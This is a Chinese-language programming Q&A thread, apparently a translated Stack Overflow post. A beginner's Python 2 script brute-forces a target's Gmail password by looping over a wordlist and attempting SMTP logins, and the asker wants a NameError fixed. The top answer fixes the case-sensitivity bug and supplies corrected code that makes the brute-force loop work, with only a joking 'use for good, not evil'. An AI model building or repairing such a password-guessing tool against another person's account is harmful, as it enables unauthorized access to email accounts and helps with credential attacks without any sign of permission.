0

我是编程新手,但我正在尝试创建以下脚本。你能告诉我我做错了什么吗?

import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")

for password in passwfile:
        try:
                smtpserver.login(user, password)
                print "[+] Password Found: %s" % password
                break;
        except smtplib.SMTPAuthenticationError:
                print "[!] Password Incorrect: %s" % password

当我添加我的 wordlist.lst 文件时,我的终端中会出现一条错误消息,内容如下:

File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined

请问有高手可以给我一些建议吗?我在 Kali Linux 上使用 Python 2.7.9(预先安装了 Python 2,所以我决定学习它而不是尝试 Python 3。)

4

2 回答 2

3

没有passwfile定义名为的变量。但是,有一个命名Passwfile(注意大写)是您应该使用的,因为标识符在 Python 中区分大小写。

请注意,在 Python 中,约定是对变量名使用全部小写。大写的标识符通常用于类名。所以你的代码可以阅读:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
password_file = open(password_filename, "r")

for password in password_file:

例如。

有关标识符和其他样式问题的更多信息,请参阅PEP 8。在这里它建议变量是下划线分隔的小写单词,因此更喜欢password_file例如passwfile

另一个有用的提示是使用以下with语句在上下文管理器中打开文件:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")

with open(password_filename) as password_file:
    for password in password_file:
        # nasty stuff here

上下文管理器将确保文件始终正确关闭,例如,如果存在未处理的异常。

最后,将此用于善,而不是恶:)

于 2015-10-11T00:47:38.303 回答
0

检查线路

Passwfile = raw_input("Enter the password file name: ")

在这里,您将存储raw_input在变量 Passwfile 中(大写的 P)

于 2015-10-11T00:47:47.387 回答